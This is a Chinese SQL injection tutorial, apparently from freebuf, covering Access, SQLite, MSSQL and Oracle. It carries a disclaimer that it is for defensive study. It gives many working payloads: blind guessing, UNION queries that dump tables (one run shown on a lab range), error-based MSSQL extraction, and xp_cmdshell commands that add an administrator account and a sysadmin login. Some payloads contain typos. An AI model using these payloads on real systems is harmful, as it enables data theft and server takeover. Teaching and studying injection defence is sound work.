SQL注入9之其他数据库注入 – 作者:iamYit

免责声明

该文章仅用于信息防御技术的交流和学习,请勿用于其他用途; 在未得到网站授权前提下,禁止对政府、事业单位、企业或其他单位网站及系统进行渗透测试;技术是把双刃剑,请遵纪守法,做一名合格的白帽子安全专家,为国家的网络安全事业做出贡献。

其他数据库注入

Access数据库

Microsoft Office Access 是由微软发布的关系型数据库管理系统,它结合了MicrosoftJet Database Engine 和图形用户界面两项特点,小巧而灵活,是Windows下小型C/S系统和网站B/S不错的选择。

Access数据库的缺点

1、数据库过大时,一般Access数据库到100M左右时性能就会开始下降,注定只能用于小型的系统或者网站,开发简单直接。
2、容易出现各种因数据库刷新频率过快而引起的数据库问题,所以利用工具暴库时需要小心。
3、Access数据安全性比不上其他类型的数据库,主要就一个数据文件,没有服务的概念

Access数据库注入原理

image-20210524092443585

1、检测注入点

我们常说的检测注入是否存在的方法
and 1=1 返回正常
and 1=2 返回错误

只要这两点存在那么就存在注入,牵扯到数学中的逻辑运算符
或=or 且=and 非=xor
真且真=真
真或假=真
真且假=假

2、查询字段数量

image-20210524092826120

3、表名和列名猜解

由于access只有一个表,因此无法像mysql一样可以支持猜解,access只能靠猜,猜的方法一般有一下2种:

1、字典文件收集(社工)

2、Access偏移注入

注意:access数据库和mysql数据库的区别,access数据库没有类似于mysql中存放着所有的数据库名,表名和列名的information数据库,access数据库靠字典来猜解表名和列名(access偏移注入可以在不知道列明的情况下获取数据)

4、表名和列名猜解–字典文件收集

5、猜解数据–逐字查询法

逐字查询 字如其名一个字一个字的查询,一般比如“啊D” “明小子” 两款工具都是这样的,查询出来的信息很准确,很受猜解工具的青睐

1、猜表名:and exists(select * from 表名)

2、猜列名:and exists(select 列名 from 表名)

3、查数据:确定长度and (select top 1 len(列名) from admin)>5

4、确定asc数据(asc编码)猜解每一位:and (select top 1 asc(mid(列名,位数,1)) from admin)>97猜解每一行:and (select top 1 asc(mid(列名,位数,1)) from (select 行数 * from admin order by id) order by id desc)>97

SQLite注入

SQLite数据库特点

SQLite是一个进程内的库,实现了自给自足的、无服务器的、零配置、事务性的SQL数据库引擎。它就是一个零配置的数据库,这意味着与其他数据库一样,您不需要在系统中配置。​就像其他数据库,SQLite 引擎不是一个独立的进程,可以按应用程序需求进行静态或动态连接,SQLite 直接访问其存储文件。

数据库特点:

1、轻量级

2、独立性,没有依赖,无需安装

3、隔离性 全部在一个文件夹系统

4、跨平台 支持众多操作系统

5、多语言接口 支持众多编程语言

6、安全性 事务,通过独占性和共享锁来实现独立事务的处理,多个进程可以在同一个时间内从同一个数据库读取数据,但只有一个可以写入数据。

所支持的数据类型:支持NULL,INTEGER,Real,text,blob数据类型

一次代表,空值,整型值,浮点型,字符串类型,二进制对象,

动态类型引用(弱引用)

当某个值插入到数据库时,SQlite将会检查他的类型,如果该类型与关联的列不匹配,SQlite则会尝试将改制转换成该列的类型,如果不能转换,则该值将作为本身的类型储存

使用须知:没有可用于SQlite的网络服务器,只能通过网络共享可能存在的文件锁定或者性能问题没有用户账户的概念,而是根据文件系统的共享设置。支持数据库大小至2TB

SQLite数据库隐藏表介绍

image-20210524111409355

SQLite数据库联合型注入实战

构建出来 select name,sql from sqlite_master limit 0,1 来进行查看这些数据,根据返hui,回来的数据可以知道,表名是 users 列名是 name和pass 这样来,我们就有了注入思路

1、使用线上靶场平台靶场,启动实验,点击购买页面,然后点击序号1可以看到有参数显示,使用and 1=1 1=2 –- 查看是否存在注入

image-20210524202147432

image-20210524202159286

2、判断出此处为注入点后使用order by查询列数,可使用二分法查询

?snumber=1 order by 5 --

image-20210524202225335

image-20210524202233788

3、使用union select查询显示的列数

?snumber=1 union select 1,2,3,4,5 --

image-20210524202253839

4、判断出数据会在2,4,3上面显示,然后获取表名

?snumber=-1 union select 1,group_concat(tbl_name),3,4,5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' --

image-20210524202308952

5、获取表名后获取列名

?snumber=-1 union select 1,sql,3,4,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='flag' --

image-20210524202320630

6、获取表内数据

?snumber=-1 union SELECT 1,flag,3,4,5 FROM flag --

image-20210524202331971

SQLite数据库字符型注入

SQLite数据库布尔型注入

以上两种看其他笔记

MSSQL数据库介绍

SQLServer/MSSQL是美国Microsoft公式推出的一种关系型数据库,是一个可扩散的,高性能的,为分布式客户机/服务器计算机所设计的数据库管理系统。

其主要特点如下:

1、高性能设计,可充分利用WindowsNT的优势

2、系统管理先进,支持Windows图形化管理工具

3、强壮的事务处理能力,采用各种方法保证数据的完整性

4、支持对称多处理器结构,存储过程

5、数据库端口1433

MSSQL数据库使用场景

人事考试、学校、政府、OA(办公系统)….一般配合MSSQL+IIS+Asp/Aspx

MSSQL数据库注入

创建数据库会创建数据库文件

1、.mdf:数据库文件(MSSql Data File)

2、.ldf:数据库日志文件(Log Data File)

复制数据库的时候要同时复制这两个文件

文件后缀

1、mysql

一个数据库是一个目录,目录下一个表对应三个文件

(1).frm:表定义文件

(2).myd:数据文件

(3).myi:索引文件

2、access

.mdb文件

3、SQLServer

(1).mdf:数据库文件

(2).ldf:数据库日志文件

五个系统数据库

1、master:控制SQL Server系统的所有系统级信息,例如:登陆账户信息、链接服务器和系统配置设置、记录其它所有数据库的存在、数据文件的位置、SQL Server的初始化信息等等。如果master数据库不可用,则无法启动SQL Server。

2、msdb:用于SQL Server代理计划警报和作业,数据库定时执行某些操作,数据库邮件等

3、model:用作SQL Server实例上创建的所有数据库的模板。对model数据库进行的修改(如数据库大小,排序规则,恢复模式和其他数据库选项)将应用于以后创建的所有数据库,在model数据库中创建一张表,则以后每次创建数据库的时候都会有默认的一张同样的表。

4、tempdb:一个工作空间,用于保存临时对象或中间结果集。一个全局资源,可供连接到SQL Server实例的所有用户使用。每次启动SQL Server 时都会重新创建tempdb

5、resource:一个只读数据库,包含SQL Server包括的系统对象,系统对象在物理上保留在Resource数据库中,但在逻辑上显示在每个数据库的sys架构中。

SQLServer是以DBID来区分数据库的,五个系统数据库DBID分别是1,2,3,4,5,所以我们再创建数据库,DBID就是从6开始了,这个在后面注入的时候有时候会用到。

角色概念

在mssql中,我们新建一个用户需要给用户指定两种角色,角色意为着一种身份,在数据库服务器里是对一系列权限的组织,一种是服务器角色,另一种是数据库角色,定义如下:​

1)服务器角色就是针对运行整个数据库的服务器设定的角色和权限:对服务器某些操作权限:比如说执行系统命令、管理服务器磁盘、开机关机等等,如果不指定具体角色,默认为public角色。​

2)数据库角色就是针对某个特定数据库设定的角色和权限。对mssql数据库中的某个或某几个具备权限:管理权限,有最高管理权限、只可读权限、只可写权限等

数据库权限

sa权限:数据库操作,文件管理,命令执行,注册表读取等(不止可以写shell,可以直接创建管理员账号密码)

——system

db权限:文件管理,数据库操作等(可以通过备份数据库写shell)

——user-adminstrators

public权限:数据库操作(不能写shell)

——guest-users

判断数据库

1、判断数据库类别(Windows系统下比较常见的2种数据库)

1.1)access

and exsits(select * from msysobjects)>0

1.2)sqlserver

and exsits(select * from sysobjects)>0

三种特殊表

SQLServer中master数据库,控制SQL Server系统的所有系统级信息,例如:登录账户信息、链接服务器和系统配置设置、记录其他所有数据库的存在,数据文件的位置、 SQL Server的初始化信息等。如果master数据库不可用,则无法启动SQL Server,下有主要的三个特殊的表:

  1. sysdatabases管理已经存在的数据库

  2. sysobjects管理已经存在的表

  3. syscolumns管理表中字段

1、sysdatabases:管理以及存在的数据库

(1)查看mssql中所有的数据库:select * from sysdatabases

(2)判断某个数据库是否存在:select * from sysdatabases where name =’moviesite’;

(3)统计数据库的总数:select count(*)as 数据库总数 from sysdatabases;

2、sysobjects:管理已经存在的表

(1)查看数据库中所有的表:select * from sysobjects;

(2)查看用户自己创建的所有表格:select * from sysobjects where type = ‘u’;

(3)判断某个表格是否存在:select * from sysobjects where name =’movie’;

(4)统计表格总数:select count(*)表格总数 from sysobjects;

3、syscolumns:管理表中字段

(1)查看数据库中所有的字段:select * from syscolumns;

(2)查看某张表中所有的字段:select * from syscolumns where id = OBJECT_ID(‘movie’);

(3)查看某一字段是否存在:select * from syscolumns where id = OBJECT_ID(‘movie’) and name =’type’;

注入流程及语法

获取数据库版本和当前数据库名

?id=1 amd 1=(select @@version)报错原理前面是数字型,后面是字符型,会把后面自动转化成int型,但是转换失败,所以报错信息会曝出版本情况,也可以写成?id=@@version 报错原理和上面类似,这里需要int型,把版本转换成int类型的时候失败,所以报错,这个和上一个都必须要用在数字型注入。将@@version换成db_name()即可查询当前数据库名称,原理和上面相同

获取数据库名

1、方法1

and 1=(select top 1 name from master.dbo.ysydatabases where dbid>4)
and 1=(select top 1 name from master.dbo.sysdatabases where dbid>5)......

2、方法2
一次爆出全部表名
and 1=(select name from master.dbo.sysdatabases for xml path)
以xml形式爆出全部的数据库名字
提示:DBID是DataBase IDentifier的缩写,意思就是数据库的唯一标识符

获取数据表名

1、方法1

and 1=(select top 1 name from sysobjects where xtype='u')
and 1=(select top 1 name from sysobjects where xtype='u' and name<>'第一个数据库名')
and 1=(select top 1 name from sysobjects where xtype='u' and name<>'第一个数据库名' and name <>'第二个数据库名')......

2、方法2
一次性爆出全部数据库表名
and 1=(select name from sysobjects for xml path)
以xml形式爆出全部数据库全部的表

获取列名

and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name ='表名'))
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where bane ='表名') and name<>'第一个列名').......

《1》、是否存在xp_cmdshell

and 1=(select count(*)from master.dbo.sysobjects where xtype ='x' and name ='xp_cmdshell')

《2》、用xp_cmdshell执行命令

;exec master..xp_cmdshell "net user name password /add"--
;exec master..xp_cmdshell "net localgroup name administrators /add"--

《3》、查看权限

and (select IS_SRVROLEMEMBER('sysadmiin'))=1-- //sa
and (select IS_MEMBER('db_owner'))=1-- // dbo
and (select IS_MEMBER('public'))=1-- //public

《4》、创建一个登录mssql的账号

;exec master.dbo.sp_add login name,pass;--

《5》、把创建的mssql登录账号提升到sysadmin

;exec master.dbo.sp_add srvrolemember name,sysadmin;--

《6》、开启3389端口

其他的一些注入方式

1、猜表名and (select Count(*)from [表名])>0

2、猜字段and (select Count(字段名)from [表名])>0

3、猜字段中记录长度and (select top 1 len(字段名) from 表名)>0

4、猜字段的ascii值and (select top 1 unicode(substring(字段名,1,1))from 表名>0)

Oracle注入

Oracle数据库也是一种关系型数据库,此数据库体量较大,一般与jsp网站联合;既然是关系数据库,肯定也是存在一些关系表,在Oracle数据库中,库的概念被淡化,强调用户;

Oracle注入之联合注入

注入原理:
其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据。

引入知识

dual表:此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上未满足查询条件而产生于MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual;

涉及到的基本用法
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select * from all_tab_columns 查询出所有的字段
select * from user_tab_columns 查询出当前用户的字段
select * from v$version 查版本

rownum=1(限制查询返回的总行数为一条)对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用限制查询返回的总行数。我们可以用rownum<3来要求它输出2条数据

image-20210525091935017

联合查询

image-20210525092229096

image-20210525092435753

image-20210525092802914

image-20210525093035776

1、order by猜解字段后用联合查询

union select null,null,null,null,null from dual

2、查看数据库版本

union select null,null,null,(select banner from sys.v_$version where rownum=1),null from dual

3、查看当前用户

union select null,null,null,(select user from dual),null from dual

4、爆库名

union select null,null,null,(select owner from all_tables where rownum=1),null from dual
union select null,null,null,(select owner from all_tables where rownum=1 and owner<>'第一个库名’),null from dual

5、爆表名

union select null,null,null,(select table_name from user_tables where rownum=1),null from dual

6、爆列名

union select null,null,null,(select column_name from user_tab_columns where table_name='表名' and rownum=1),null from dual

来源:freebuf.com 2021-05-31 22:33:08 by: iamYit

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论